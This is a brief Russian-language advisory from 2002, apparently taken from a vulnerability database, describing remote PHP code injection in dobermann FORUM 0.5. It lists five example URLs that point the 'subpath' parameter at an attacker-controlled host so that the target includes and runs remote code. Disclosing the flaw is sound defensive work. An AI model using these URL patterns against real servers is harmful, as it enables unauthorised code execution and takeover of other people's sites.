Выполнение произвольных команд в dobermann FORUM

Дата публикации:
30.10.2002
Всего просмотров:
883
Опасность:
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Описание: dobermann FORUM (http://www.le-dobermann.com) – форум, написанный на PHP. Сразу в нескольких сценариях обнаружена возможность удаленного внедрения произвольного PHP кода. Пример:
http://[target]/entete.php?subpath=http://[attacker]/
http://[target]/enteteacceuil.php?subpath=http://[attacker]/
http://[target]/topic/entete.php?subpath=http://[attacker]/
http://[target]/index.php?subpath=http://[attacker]/
http://[target]/newtopic.php?subpath=http://[attacker]/
уязвимость обнаружена в dobermann FORUM 0.5

Ссылки: dobermann FORUM (php)
или введите имя

CAPTCHA